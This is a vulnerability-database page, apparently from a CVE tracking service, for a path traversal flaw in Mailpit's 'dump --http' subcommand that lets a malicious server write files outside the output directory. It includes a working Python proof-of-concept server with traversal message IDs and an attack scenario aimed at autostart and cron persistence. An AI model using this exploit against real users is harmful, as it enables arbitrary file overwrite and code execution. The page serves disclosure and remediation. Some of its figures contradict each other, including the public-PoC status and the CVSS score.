Skip to main content

Mailpit EUVDEUVD-2026-45967

| CVE-2026-45711 HIGH
Path Traversal (CWE-22)
2026-05-19 https://github.com/axllent/mailpit GHSA-qx5x-85p8-vg4j
8.2
CVSS 3.1 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Attacker deploys malicious Mailpit-compatible HTTP server
  2. Delivery
    Deliver attacker URL to victim via phishing, MITM, or typosquat
  3. Exploit
    Victim runs mailpit dump --http <attacker-url> <outdir>
  4. Install
    Client fetches /api/v1/messages and receives traversal-laden message ID
  5. C2
    path.Join normalizes ../.. segments, resolving path outside outdir
  6. Execute
    Attacker-controlled bytes written to target file as <id>.eml
  7. Impact
    Overwrite cron job, shell config, or CI artifact to achieve code execution

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V5 - File Handling Path canonicalization, traversal prevention
MITRE ATT&CK

2 techniques across 2 tactics: Discovery, Collection

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the victim to explicitly invoke mailpit dump --http <url> <dir> (UI:R - direct user interaction required with the specific CLI subcommand). The attacker must control or be able to impersonate the HTTP endpoint supplied as the <url> argument (AC:H); viable attack paths include: a plain-HTTP Mailpit instance where MITM is feasible on the network path, a typosquatted or phishing-distributed URL, or a compromised internal Mailpit instance the victim regularly backs up. No authentication is required from the attacker's side (PR:N) - the attacking server need only return a JSON response conforming to the Mailpit messages API shape. The vulnerability is NOT triggerable via Mailpit's SMTP listener, web UI, REST API consumer role, or any other Mailpit interface. Output files are always written with a .eml suffix, which constrains - but does not prevent - executable placement; valid high-impact write targets include cron.d directories, shell startup files, CI artifact ingestion directories, and web roots that serve static files.

Impact

CVSS 5.9 (Medium) with vector AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:L reflects a nuanced risk profile. The High Complexity (AC:H) and required User Interaction (UI:R) appropriately capture that exploitation requires the attacker to control or impersonate the target URL AND the victim to manually invoke the specific dump --http subcommand - this is not a passive, fire-and-forget attack. The Integrity impact is correctly rated High (arbitrary file write) while Confidentiality is unaffected. The 'RCE' tag in the threat intelligence is aspirational rather than direct - code execution is contingent on write location and privilege level, not an inherent property of the primitive. EPSS data was not provided in the available intelligence, so exploitation probability cannot be quantified numerically. No CISA KEV listing exists, meaning no confirmed active exploitation. However, a fully functional Python PoC is publicly documented in the GHSA advisory, significantly lowering the exploit barrier. The AC:H rating may understate real-world risk for operators who routinely back up internal Mailpit instances over plain HTTP on corporate or cloud networks where MITM is feasible. For those users, this is a genuine high-priority issue despite the medium CVSS score.

Exploit ScenarioDerived

An attacker registers a typosquatted domain or posts a phishing tutorial linking to a malicious server that mimics the Mailpit HTTP API. When a developer or CI pipeline operator runs mailpit dump --http http://attacker.example/ /tmp/dump-out, the evil server returns a message listing with ID ../../../../home/user/.config/autostart/payload and a body containing a malicious desktop autostart entry. Mailpit writes the file to /home/user/.config/autostart/payload.eml outside the intended output directory, achieving persistence on next login. A working Python PoC demonstrating this exact technique is published in the GHSA advisory.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 19, 2026

Arbitrary file write via path traversal in Mailpit's dump --http subcommand (versions < 1.30.0) allows any HTTP server impersonating a Mailpit instance to write attacker-controlled bytes to arbitrary paths outside the intended output directory. The attacker controls both the file path (via the message ID field in the JSON response) and the file contents (via the raw message body endpoint), enabling writes anywhere the dumping user has write permission - including cron jobs, shell startup files, and CI artifact directories. Publicly available exploit code exists (Python PoC published in GHSA-qx5x-85p8-vg4j); no confirmed active exploitation at time of analysis.

RemediationAI

Upgrade to Mailpit v1.30.0 or later immediately; the vendor release notes explicitly state 'This release includes an important security fix, so upgrading is strongly recommended' (https://github.com/axllent/mailpit/releases/tag/v1.30.0). v1.30.0 is confirmed to fix GHSA-qx5x-85p8-vg4j along with three other security issues patched in the same release. If an immediate upgrade is not feasible, cease all use of mailpit dump --http as the sole effective compensating control - this eliminates the attack surface entirely since the path traversal is specific to this subcommand and cannot be triggered by Mailpit's SMTP, web UI, or API endpoints. Do not run dump operations against endpoints reachable over plain HTTP (non-TLS) on untrusted network segments, as MITM interception is a primary attack vector. There is no in-place configuration workaround that preserves dump functionality while mitigating the traversal; disabling the subcommand is the only viable interim measure.

Affected VersionsENISA

mailpit < 1.30.0

Affected Packages

go github.com/axllent/mailpit fix: 1.30.0
euvd mailpit fix: 1.30.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The affected component is internal/dump/dump.go in the Mailpit Go application (pkg:go/github.com/axllent/mailpit). The dump --http subcommand paginates through a remote Mailpit API at /api/v1/messages, takes the m.ID field verbatim from the JSON response, and constructs the output path via Go's path.Join(outDir, m.ID + ".eml"). Go's path.Join silently normalizes .. segments rather than rejecting them, meaning a server-supplied ID of ../../../../etc/cron.d/payload resolves cleanly to /etc/cron.d/payload.eml. The implementation contains no filepath.Rel(outDir, out) containment check, no character allow-list on m.ID, and no body-size cap on the /api/v1/message/<id>/raw response. This is a textbook CWE-22 (Improper Limitation of a Pathname to a Restricted Directory) instance. The underlying trust model assumes the remote endpoint is a legitimate, trusted Mailpit instance, but no cryptographic or structural validation of that trust is performed - any HTTP server that mimics the Mailpit JSON API shape can exploit this path.

Know when Python gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 8.2 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L
SUSE HIGH

Primary rating from NVD.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
Low

Lifecycle Timeline

2
Severity Changed
Jul 28, 2026 - 15:37 NVD
MEDIUM HIGH
CVSS changed
Jul 28, 2026 - 15:37 NVD
5.9 (MEDIUM) 8.2 (HIGH)

DescriptionNVD

Summary

The mailpit dump --http <base-url> <out-dir> sub-command downloads every message from a remote Mailpit instance and writes each one as <id>.eml inside the user-supplied output directory. The message ID field is taken verbatim from the JSON response of the remote server and concatenated into the output path with path.Join, which silently normalizes .. segments. A malicious HTTP server impersonating Mailpit can therefore make mailpit dump write attacker-controlled bytes to any path the running user can write, fully outside the intended output directory.

Details

Anyone who can convince a user to run mailpit dump --http <attacker-url> <dir> (typosquat, phishing tutorial, MITM of a plain-http:// Mailpit, or a compromised internal Mailpit they back up regularly) obtains an arbitrary file write primitive as the dumping user. Realistic post-exploitation includes overwriting init/cron files, shell startup files, CI artifact upload targets, web roots, etc. - anything the dumping user can write to, with attacker-controlled file bytes and a .eml filename suffix.

Affected code

internal/dump/dump.go:

path.Join("/safe/out/dir", "../../../../etc/cron.d/payload.eml") resolves to /etc/cron.d/payload.eml - the .. segments are normalized, not rejected. The remote server controls both m.ID (path) and the body of /api/v1/message/<id>/raw (contents). There is no filepath.Rel(outDir, out) containment check, no allow-list on m.ID characters, and no body-size cap.

The underlying cause is that the command was added to back up a trusted Mailpit, but the trust model on the wire never gets validated - the operator only supplies a URL.

PoC

  1. Run a malicious "Mailpit" server that returns one message whose ID contains .. segments:
python
# evil-mailpit.py
import http.server, json

class Evil(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        if "/api/v1/messages" in self.path:
            resp = {
                "total": 1, "unread": 0, "count": 1,
                "messages_count": 1, "messages_unread": 0,
                "start": 0, "tags": [],
                "messages": [{
                    "ID": "../../../../tmp/mailpit-pwn",
# ← traversal
                    "MessageID": "x", "Read": False,
                    "From": {"Name": "", "Address": "a@b"},
                    "To":   [{"Name": "", "Address": "c@d"}],
                    "Cc": None, "Bcc": None, "ReplyTo": [],
                    "Subject": "evil",
                    "Created": "2026-01-01T00:00:00Z",
                    "Tags": [], "Size": 5,
                    "Attachments": 0, "Snippet": ""
                }]
            }
            body = json.dumps(resp).encode()
            ctype = "application/json"
        elif "/raw" in self.path:
            body  = b"PWNED BY MAILPIT DUMP TRAVERSAL\n"
            ctype = "text/plain"
        else:
            self.send_response(404); self.end_headers(); return

        self.send_response(200)
        self.send_header("Content-Type", ctype)
        self.send_header("Content-Length", str(len(body)))
        self.end_headers()
        self.wfile.write(body)

http.server.HTTPServer(("127.0.0.1", 19090), Evil).serve_forever()
$ python3 evil-mailpit.py &
$ mkdir -p /tmp/dump-out
$ mailpit dump --http http://127.0.0.1:19090/ /tmp/dump-out
  1. Observe the file was written outside the requested output directory:
$ ls -la /tmp/dump-out/ /tmp/mailpit-pwn.eml
/tmp/dump-out/                                        ← empty
total 0
-rw-r--r-- 1 user user 31 May 11 16:16 /tmp/mailpit-pwn.eml
$ cat /tmp/mailpit-pwn.eml
PWNED BY MAILPIT DUMP TRAVERSAL

The same primitive trivially targets ~/.config/autostart/*.eml, ~/.bash_logout.eml (where it overwrites if symlinked), CI artifact dirs that ingest every file, or via long ../ chains any absolute path the user can write to.

Impact

Arbitrary file write via path traversal in mailpit dump --http, allowing a malicious Mailpit-compatible server to force writes outside the intended output directory. This can lead to overwriting sensitive files (e.g. cron jobs, CI artifacts, shell configs) and potential code execution depending on write location and privileges.

Threat Intelligence Overview

EPSS Score
0.0%
Top 90% exploitable
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact· derived
Medium

Priority Score

41
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +41
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Path traversal exploits occur when applications use user-controlled input to construct file system paths without proper validation.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP5 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6 Affected
openSUSE Leap 15.5 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy